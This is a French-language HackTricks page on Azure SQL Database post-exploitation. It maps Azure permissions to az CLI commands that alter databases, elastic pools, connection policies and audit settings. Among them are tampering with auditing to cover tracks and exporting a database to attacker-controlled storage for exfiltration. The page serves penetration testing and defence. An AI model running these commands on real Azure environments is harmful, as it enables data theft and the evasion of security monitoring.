# Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Post Exploitation

Pour plus d'informations sur SQL Database, consultez :

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`

Avec ces autorisations, un attaquant peut créer et mettre à jour des bases de données dans l'environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d'ajouter des données malveillantes, de modifier les configurations de la base de données ou d'insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`

Avec ces autorisations, un attaquant peut créer et mettre à jour des elasticPools dans l'environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d'ajouter des données malveillantes, de modifier les configurations de la base de données ou d'insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
```bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
```
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`

Avec cette autorisation, vous pouvez modifier ou activer les paramètres d'audit sur un Azure SQL Server. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de manipuler les configurations d'audit, couvrant potentiellement leurs traces ou redirigeant les journaux d'audit vers un emplacement sous leur contrôle. Cela peut entraver la surveillance de la sécurité ou permettre de suivre les actions. REMARQUE : Pour activer l'audit pour un Azure SQL Server en utilisant Blob Storage, vous devez attacher un compte de stockage où les journaux d'audit peuvent être enregistrés.
```bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
```
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`

Avec cette autorisation, vous pouvez modifier les politiques de connexion d'un serveur SQL Azure. Cette capacité peut être exploitée pour activer ou changer les paramètres de connexion au niveau du serveur.
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### `Microsoft.Sql/servers/databases/export/action`

Avec cette autorisation, vous pouvez exporter une base de données d'un serveur Azure SQL vers un compte de stockage. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut exfiltrer des données sensibles de la base de données en l'exportant vers un emplacement qu'il contrôle, ce qui représente un risque de violation de données significatif. Il est important de connaître la clé de stockage pour pouvoir effectuer cela.
```bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

```
### `Microsoft.Sql/servers/databases/import/action`

Avec cette autorisation, vous pouvez importer une base de données dans un Azure SQL Server. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut potentiellement télécharger des bases de données malveillantes ou manipulées. Cela peut conduire à un contrôle sur des données sensibles ou à l'insertion de scripts ou de déclencheurs nuisibles dans la base de données importée. De plus, vous pouvez l'importer sur votre propre serveur dans Azure. Remarque : Le serveur doit autoriser les services et ressources Azure à accéder au serveur.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
